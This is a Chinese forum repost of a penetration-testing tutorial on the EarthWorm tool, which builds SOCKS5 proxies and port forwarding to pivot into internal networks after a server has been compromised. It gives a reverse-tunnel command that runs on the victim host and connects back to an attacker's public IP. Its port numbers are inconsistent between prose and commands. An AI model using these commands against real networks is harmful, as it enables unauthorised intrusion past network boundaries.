搜索

[168] 2020-10-21_ew端口转发

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-16
2020-10-21_ew端口转发 e w 端 口 转 发 原 创   T a o i n g   A d m i n   T e a m   2 0 2 0 - 1 0 - 2 1 前 言 前 言 当 我 们 在 内 网 渗 透 中 ， 并 拿 下 了 内 网 一 台 服 务 器 权 限 时 ， 自 以 为 内 网 渗 透 已 经 算 一 次 完 整 渗 透 了 ？ 咦 . . . . . 其 实 并 不 是 。 内 网 漫 游 的 渗 透 是 不 完 整 的 本 文 使 用 的 是 一 款 内 网 穿 透 神 器 ： E a r t h W o r m 。 0 x 0 1   e w 介 绍 介 绍 这 里 E a r t h W o r m 简 称 ﴾ E W ﴿ 是 一 套 轻 量 便 携 且 功 能 强 大 的 网 络 穿 透 工 具 ， 基 于 标 准 C 开 发 ， 具 有 s A o c k s 5 代 理 、 端 口 转 发 和 端 口 映 射 三 大 功 能 不 会 用 咋 办 ？ ： 妈 的 看 官 方 文 档 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / i d l e f i r e / e w
1 . 可 穿 透 复 杂 的 内 网 环 境 。 （ 这 么 说 吧 ： 我 本 地 连 着 路 由 器 开 一 个 虚 拟 机 ， 可 以 直 接 反 弹 到 公 网 的 云 服 务 器 上 。 ） 2 . 以 支 持 多 平 台 间 的 转 接 通 讯 ， L i n u x 、 W i n d o w s 、 M a c O S 、 A r m ‐ L i n u x 均 支 持 。 支 持 平 台 列 表 ： （ 可 跨 平 台 反 弹 ） 帮 助 文 档 ： 0 x 0 2     使 用 方 法 使 用 方 法 该 工 具 共 有   6   种 命 令 格 式 ， 帮 助 文 档 写 了 常 用 的 3 种 （ s s o c k s d 、 r c s o c k s 、 r s s o c k s 、 l c x _ s l a v e 、 l c x _ l i s t e n 、 l c x _ t r a n ） 1 、 开 启 正 向 S O C K S   v 5 服 务 器 2 、 反 弹   S O C K S   v 5     服 务 器 e w _ f o r _ W i n . e x e       适 用 各 种 W i n d o w s 系 统 ( X 8 6 指 令 集 、 X 6 4 指 令 集 )       W i n d o w s 7 、 W i n d o w s     X P e w _ f o r _ L i n u x 3 2       各 常 见 L i n u x 发 行 版 （ X 8 6 指 令 集     C P U ）                   U b u n t u ( X 8 6 ) / B T 5 ( X 8 6 ) e w _ f o r _ l i n u x 6 4         各 常 见 L i n u x 发 行 版 （ X 6 4 指 令 集     C P U ）                 U b u n t u ( X 6 4 ) / k a l i ( X 6 4 ) e w _ f o r _ M a c O S X 6 4         M a c O S 系 统 发 行 版     （ X 6 4 指 令 集 ）                         苹 果 P C 电 脑 ， 苹 果 s e r v e r e w _ f o r _ A r m 3 2             常 见 A r m - L i n u x 系 统                                                   H T C     N e w     O n e ( A r m - A n d r o i d ) / 小 米 路 由 器 （ R 1 D ） e w _ m i p s e l                   常 见 M i p s - L i n u x 系 统     （ M i p i p s e l 指 令 集   C P U ）   萤 石 硬 盘 录 像 机 、 小 米 m i n i 路 由 器 （ R 1 C M ） n s o c k s 类 似 通 过 S o c k s 5 代 理 后 的 n e t c a t ， 可 用 来 测 试 s o c k s         s e r v e r s s o c k s d 用 来 开 启 S o c k s 5 代 理 服 务 s s o c k s 本 地 启 用 S o c k s 5 服 务 ， 并 反 弹 到 另 一 I P 地 址 r c s o c k s 接 收 反 弹 过 来 的 S o c k s 5 服 务 ， 并 转 向 另 一 端 口 ‐ l     l i s t e n p o r t 为 服 务 启 动 打 开 一 个 端 口 。 ‐ d     r e f h o s t 设 置 反 射 主 机 地 址 。 ‐ e     r e f p o r t 设 置 反 射 端 口 。 ‐ f     c o n n h o s t 设 置 连 接 主 机 地 址 。 ‐ g     c o n n p o r t 设 置 连 接 端 口 。 ‐ h 通 过 添 加 ‐ s 参 数 来 显 示 帮 助 文 本 ， 您 还 可 以 看 到 更 详 细 的 帮 助 。 ‐ a 关 于 显 示 “ 关 于 ” 页 面 ‐ v 版 本 显 示 版 本 。 e w _ f o r _ W i n . e x e     ‐ s     s s o c k s d     ‐ l   1 0 8 0
操 作 具 体 分 两 步 ：   a ﴿ 先 在 一 台 具 有 公 网   i p   的 主 机 A 上 运 行 以 下 命 令 ﴾ 假 设 这 里 公 网 i p 为 ： 4 7 . 1 0 4 . 7 0 . 1 6 1 ﴿   b ﴿ 在 目 标 主 机 B 上 启 动   S O C K S   v 5   服 务   并 反 弹 到 公 网 主 机 的   8 8 8 8 端 口 攻 击 机 器 会 弹   成 功 此 时 一 个 S o c k s 5 连 接 工 具 就 可 以 连 接 到 本 地 1 0 0 8 端 口 来 代 理 访 问 了 ， 这 里 我 使 用 P r o x i f i e r 进 行 代 理 e w _ f o r _ W i n . e x e     ‐ s     r c s o c k s     ‐ l   1 0 8 0     ‐ e     9 9 9 9 e w _ f o r _ W i n . e x e     ‐ s     r s s o c k s     ‐ d   4 7 . 1 0 4 . 7 0 . 1 6 1     ‐ e     9 9 9 9
在 代 理 处 配 置 1 2 7 . 0 . 0 . 1 : 1 0 8 0 ， 测 试 代 理 已 连 接 。 完
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理